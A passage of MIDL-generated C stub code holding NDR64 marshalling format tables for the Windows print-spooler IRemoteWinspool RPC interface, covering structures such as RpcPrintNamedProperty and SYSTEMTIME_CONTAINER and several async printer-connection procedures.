(NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag889_t __midl_frag889 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n        { \n        /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag891\n        },\n        &__midl_frag903,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag888_t __midl_frag888 =\n{ \n/* RPC_V2_NOTIFY_INFO */\n    { \n    /* RPC_V2_NOTIFY_INFO */\n        0x36,    /* FC64_CONF_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_INFO */\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 1 /* 0x1 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n        &__midl_frag889,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag887_t __midl_frag887 =\n{ \n/* NOTIFY_REPLY_CONTAINER */\n    { \n    /* NOTIFY_REPLY_CONTAINER */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* NOTIFY_REPLY_CONTAINER */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *RPC_V2_NOTIFY_INFO */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag888\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag886_t __midl_frag886 =\n{ \n/*  */\n    { \n    /* *SYSTEMTIME */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag885\n    }\n};\n\nstatic const __midl_frag885_t __midl_frag885 =\n{ \n/* SYSTEMTIME */\n    { \n    /* SYSTEMTIME */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* SYSTEMTIME */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag884_t __midl_frag884 =\n{ \n/* SYSTEMTIME_CONTAINER */\n    { \n    /* SYSTEMTIME_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SYSTEMTIME_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag886,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag883_t __midl_frag883 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag882_t __midl_frag882 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag878_t __midl_frag878 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag877_t __midl_frag877 =\n{ \n/* __MIDL_IRemoteWinspool_0025 */\n    { \n    /* __MIDL_IRemoteWinspool_0025 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag878,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 9 /* 0x9 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag942,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag948,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag882,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag883,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag884,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag10,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag92,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag887,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 9 /* 0x9 */,\n        &__midl_frag900,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag875_t __midl_frag875 =\n{ \n/* RpcPrintNamedProperty */\n    { \n    /* RpcPrintNamedProperty */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RpcPrintNamedProperty */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag874_t __midl_frag874 =\n{ \n/* RpcPrintNamedProperty */\n    { \n    /* RpcPrintNamedProperty */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RpcPrintNamedProperty */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag875\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag877\n        },\n        { \n        /* RpcPrintPropertyValue */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag873_t __midl_frag873 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 50 /* 0x32 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag872_t __midl_frag872 =\n{ \n/* *RpcPrintNamedProperty */\n    { \n    /* *RpcPrintNamedProperty */\n        { \n        /* *RpcPrintNamedProperty */\n            0x47,    /* FC64_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *RpcPrintNamedProperty */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag874\n        },\n        &__midl_frag873,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag871_t __midl_frag871 =\n{ \n/* RpcPrintPropertiesCollection */\n    { \n    /* RpcPrintPropertiesCollection */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RpcPrintPropertiesCollection */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag911,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag869_t __midl_frag869 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 2 /* 0x2 */\n};\n\nstatic const __midl_frag868_t __midl_frag868 =\n{ \n/* RpcSyncRegisterForRemoteNotifications */\n    { \n    /* RpcSyncRegisterForRemoteNotifications */      /* procedure RpcSyncRegisterForRemoteNotifications */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag869,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pNotifyFilter */      /* parameter pNotifyFilter */\n        &__midl_frag871,\n        { \n        /* pNotifyFilter */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* phRpcHandle */      /* parameter phRpcHandle */\n        &__midl_frag913,\n        { \n        /* phRpcHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag865_t __midl_frag865 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag948\n};\n\nstatic const __midl_frag860_t __midl_frag860 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag859_t __midl_frag859 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag860\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag858_t __midl_frag858 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag859\n};\n\nstatic const __midl_frag855_t __midl_frag855 =\n{ \n/* RpcAsyncEnumPerMachineConnections */\n    { \n    /* RpcAsyncEnumPerMachineConnections */      /* procedure RpcAsyncEnumPerMachineConnections */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag942,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag858,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag849_t __midl_frag849 =\n{ \n/* RpcAsyncDeletePerMachineConnection */\n    { \n    /* RpcAsyncDeletePerMachineConnection */      /* procedure RpcAsyncDeletePerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag942,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag947,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag839_t __midl_frag839 =\n{ \n/* RpcAsyncAddPerMachineConnection */\n    { \n    /* RpcAsyncAddPerMachineConnection */      /* procedure RpcAsyncAddPerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag942,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag947,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintServer */      /* parameter pPrintServer */\n        &__midl_frag947,\n        { \n        /* pPrintServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pProvider */      /* parameter pProvider */\n        &__midl_frag947,\n        { \n        /* pProvider */\n            1,\n            1,\n            0,\n            